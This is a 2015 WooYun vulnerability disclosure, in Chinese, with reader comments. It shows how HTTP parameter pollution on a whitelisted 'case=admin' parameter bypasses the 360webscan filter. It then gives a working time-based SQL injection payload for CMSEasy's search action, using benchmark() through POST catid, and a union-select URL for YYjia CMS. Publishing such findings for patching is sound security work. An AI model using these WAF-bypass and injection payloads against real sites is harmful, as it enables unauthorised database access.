当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099513

漏洞标题:使用webscan360的cms厂商通过hpp可使其失效(附cmseasy新版sql注射)

相关厂商:cmseasy

漏洞作者: 路人甲

提交时间:2015-04-02 10:08

修复时间:2015-07-01 21:48

公开时间:2015-07-01 21:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-02: 细节已通知厂商并且等待厂商处理中
2015-04-02: 厂商已经确认,细节仅向厂商公开
2015-04-05: 细节向第三方安全合作伙伴开放
2015-05-27: 细节向核心白帽子及相关领域专家公开
2015-06-06: 细节向普通白帽子公开
2015-06-16: 细节向实习白帽子公开
2015-07-01: 细节向公众公开

简要描述:

使用webscan360的cms厂商通过hpp使其失效(附cmseasy新版sql注射),思前想后,不知道这个漏洞到底该给360呢 还是给cmseasy 最终还是给了确认神速的cmseasy

详细说明:

默认安装cmseasy最新版本
webscan_cache.php:

$webscan_white_url = array('index.php' => 'admin_dir=admin','index.php' => 'case=file','index.php' =>'case=admin');


然后再看
360webscan.php:

if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) {

if ($webscan_get) {
foreach($_GET as $key=>$value) {
webscan_StopAttack($key,$value,$getfilter,"GET");
}


第一个条件
$webscan_switch 这个值初始化时候是1
第二个条件只要不成立 那么就不仅行检测了
跟进去webscan_white:

function webscan_white($webscan_white_name,$webscan_white_url=array()) {
$url_path=$_SERVER['SCRIPT_NAME'];
$url_var=$_SERVER['QUERY_STRING'];
if (preg_match("/".$webscan_white_name."/is",$url_path)==1&&!empty($webscan_white_name)) {
return false;
}
foreach ($webscan_white_url as $key => $value) {
if(!empty($url_var)&&!empty($value)){
if (stristr($url_path,$key)&&stristr($url_var,$value)) {
return false;
}
}
elseif (empty($url_var)&&empty($value)) {
if (stristr($url_path,$key)) {
return false;
}
}
}
return true;
}


这个函数不多做分析,就是从白名单里面拿出来,如果符合条件,那么不进行检测
if (stristr($url_path,$key)&&stristr($url_var,$value)) {
return false;
}
这个显而易见就是 如果请求为$key 并且参数中有$value 就返回false
根据刚才的分析,默认白名单
我们发送的请求中case=admin那么就不进行防御
根据hpp apache的定义 参数case=admin&case=123 最终服务器端获取的是case=123
所以这样就不影响逻辑了
发送url:

1.png


2.png


由此可见防御没有起作用
那么我们找找 有没有sql注入的地方
archive_act.php:

function search_action() {//print_r($_SESSION);exit();

if (front::get('ule')) {
front::$get['keyword'] = str_replace('-', '%', front::$get['keyword']);
front::$get['keyword'] = urldecode(front::$get['keyword']);
}
if (front::get('keyword') && !front::post('keyword'))
front::$post['keyword'] = front::get('keyword');
front::check_type(front::post('keyword'), 'safe');
if (front::post('keyword')) {
$this->view->keyword = trim(front::post('keyword'));
session::set('keyword', trim(front::post('keyword')));
/* if(isset(front::$get['keyword']))
front::redirect(preg_replace('/keyword=[^&]+/','keyword='.urlencode($this->view->keyword),front::$uri));
else front::redirect(front::$uri.'&keyword='.urlencode($this->view->keyword)); */
} else {
$this->view->keyword = session::get('keyword');
}

if(preg_match('/union/i',$this->view->keyword) || preg_match('/"/i',$this->view->keyword) ||preg_match('/\'/i',$this->view->keyword)){
exit('非法参数');
}

$path = ROOT . '/data/hotsearch/' . urlencode($this->view->keyword) . '.txt';
$mtime = @filemtime($path);
$time = intval(config::get('search_time'))?intval(config::get('search_time')):30;
if(time() - $mtime < $time && !front::get('page')){
//alertinfo($time.'秒内不能重复搜索','index.php?t='.front::get('t'));
}
$keywordcount = @file_get_contents($path);
$keywordcount = $keywordcount + 1;
file_put_contents($path, $keywordcount);
$type = $this->view->category;
$condition = "";

if (front::post('catid')) {
$cateobj = category::getInstance();
$sons = $cateobj->sons(front::post('catid'));
if(is_array($sons) && !empty($sons)){
$cids = front::post('catid').','.implode(',',$sons);
}else{
$cids = front::post('catid');
}

$condition .= "catid in (".$cids.") AND ";


这里如果提交post[catid],就构成sql注射了
我们在跟进一下:

function getrows($condition='',$limit=1,$order='1 desc',$cols='*') {
$this->condition($condition);
$this->record_count=$this->rec_count($condition);
$res=$this->rec_select($condition,$limit,'*',$order);
return $res;
}


function condition(&$condition) {

if (isset($condition) &&is_array($condition)) {
$_condition=array();
foreach ($condition as $key=>$value) {
//$value=str_replace("'","\'",$value);
$key = htmlspecialchars($key,ENT_QUOTES);
if(preg_match('/(if|select|ascii|from|sleep)/i', $value)){
//echo $condition;
exit('sql inject');
}
if(preg_match('/(if|select|ascii|from|sleep)/i', $key)){
//echo $condition;
exit('sql inject');
}
$_condition[]="`$key`='$value'";
}
$condition=implode(' and ',$_condition);
}
else if (is_numeric($condition)) {
if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){
//echo $condition;
exit('sql inject');
}
$this->getFields();
$condition="`$this->primary_key`='$condition'";
}else if(true === $condition){
$condition = 'true';
}else{
//echo $condition." __ ";
if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){
//echo $condition;
exit('sql inject');
}
}


发现这里又做了一层防御,看到这里只能用banchmark了
我们发送url:
http://localhost:8081/cmseasy/uploads/index.php?case=admin&case=archive&act=search&catid=8
postdata:
catid=3) and benchmark( 10000000, md5(123))#

3.png


造成七秒延迟
抓取的sql:
2015/3/4 17:58 SELECT * FROM `cmseasy_archive` WHERE catid in (3) and benchmark( 10000000, md5(123))#) AND (title like '%%') and (state IS NULL or state<>'-1') ORDER BY `listorder`,1 DESC limit 0,12
在看一个cms:
YYjia cms
发送url:
http://localhost:8081/index.php?m=admin&ac=register&a=1 union select 1,2,3,4

4.png


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-04-02 21:46

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-02 10:09 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    哇哇哇~

  2. 2015-04-02 10:12 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    提给cmseasy就给你1rank,你忘记了么?

  3. 2015-04-02 10:24 | f4ck ( 实习白帽子 | Rank:42 漏洞数:7 | 有些人很牛B,一个漏洞能刷成N个。)

    感脚,你就是mem神~~

  4. 2015-04-02 21:49 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    有条件吧?apache我记得用hpp获取到的变量是最后一个,iis受这个影响比较严重

  5. 2015-04-10 14:54 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    想看看注入怎么找的,那么多人找过了,还能找到,厉害啊

  6. 2015-05-28 00:01 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    我勒个去,只给个低??

  7. 2015-08-20 10:36 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    回来又看了看,终于看明白咋回事